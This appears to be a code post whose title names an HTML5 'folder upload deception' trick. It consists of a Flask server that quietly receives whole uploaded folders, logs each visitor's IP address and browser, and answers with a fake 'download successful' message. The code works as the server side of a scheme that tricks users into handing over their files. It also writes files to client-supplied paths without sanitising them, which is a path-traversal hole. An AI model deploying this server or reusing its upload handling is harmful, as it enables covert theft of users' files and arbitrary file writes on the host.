Html5文件夹上传欺骗之Python实现版-w-

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from flask import (
    Flask,
    request,
    render_template,
    send_from_directory,
    url_for,
    jsonify
)
from werkzeug import secure_filename
import logging
import os

import logging

logger = logging.getLogger('mylogger')
logger.setLevel(logging.DEBUG)

fh = logging.FileHandler('log.txt')
fh.setLevel(logging.DEBUG)

ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)

formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
fh.setFormatter(formatter)
ch.setFormatter(formatter)

logger.addHandler(fh)
logger.addHandler(ch)

basedir = os.path.abspath(os.path.dirname(__file__))

app = Flask(__name__)



app.config['ALLOWED_EXTENSIONS'] = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'])


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1] in app.config['ALLOWED_EXTENSIONS']


@app.context_processor
def override_url_for():
    return dict(url_for=dated_url_for)


def dated_url_for(endpoint, **values):
    if endpoint == 'js_static':
        filename = values.get('filename', None)
        if filename:
            file_path = os.path.join(app.root_path,
                                     'static/js', filename)
            values['q'] = int(os.stat(file_path).st_mtime)
    elif endpoint == 'css_static':
        filename = values.get('filename', None)
        if filename:
            file_path = os.path.join(app.root_path,
                                     'static/css', filename)
            values['q'] = int(os.stat(file_path).st_mtime)
    return url_for(endpoint, **values)


@app.route('/css/<path:filename>')
def css_static(filename):
    return send_from_directory(app.root_path + '/static/css/', filename)


@app.route('/js/<path:filename>')
def js_static(filename):
    return send_from_directory(app.root_path + '/static/js/', filename)


@app.route('/')
def index():
    return render_template('index.html')

import os, errno

def mkdir_p(path):
    try:
        os.makedirs(path)
    except OSError as exc: 
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise


@app.route('/xiazaizhong', methods=['POST'])
def upldfile():
    print "########################"
    filelist = request.files.getlist("file")
    print request.remote_addr
    print request.user_agent
    for upload in filelist:
        filename = upload.filename.encode('utf-8')
        lpdir = upload.filename.rsplit("/")[0:-1]
        if len(lpdir) is not 1:
            pdir = '/'.join(lpdir)
        elif len(lpdir) is 1:
            pdir = lpdir[0]
        mkdir_p(pdir)
        upload.save(filename)
    print "########################"
    return "xiazaichenggong0w0"


if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=False, port=80)